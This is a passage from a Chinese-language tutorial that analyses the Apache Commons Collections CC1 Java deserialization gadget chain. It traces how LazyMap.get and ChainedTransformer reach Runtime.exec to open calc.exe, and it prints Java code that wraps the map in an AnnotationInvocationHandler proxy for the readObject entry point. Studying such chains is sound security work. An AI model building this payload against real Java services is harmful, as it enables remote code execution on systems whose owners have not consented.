也就是说,当get方法被调用的时候,这个LazyMap才会创建执行,当调用get(key)的key不存在时,会调用transformerChain的transform()方法
tmpmap.get("hello");所以这边hello的key是不存在的,所以执行了恶意代码
那我们可以get("key")试试
因为我们有这个key,所以没有执行恶意代码,事实证明,我们的想法是正确的
0x05、第三部分分析通过此处,f7步入get()方法内部
传入过后,LazyMap 的get方法方法里面的this.factory为Transformer[]数组,这时候去调用就会执行transform方法
而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法
导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器
0x06、序列化构造上文是执行成功了,但是我们需要构造恶意的序列化,我们知道,只要调用了get方法,就会执行rce了
所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get
当时我们要怎么调用这个AnnotationInvocationHandler#invoke()
这时候我们可以借用对象代理进行调用
然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy:
//获取class对象 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //根据参数类型获得对应的Constructor对象,第⼀个参数是⼀个Annotation类 //第⼆个是参数就是前⾯构造的Map Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); //设置暴力反射 construct.setAccessible(true); //通过newInstance实例化对象,从而执行构造函数,导致rce InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); //新增 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是
sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
AnnotationInvocationHandler对这个proxyMap进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);由于存在漏洞的AnnotationInvocationHandlerjdk版本找不到,序列化的构造就这样敷衍的写一写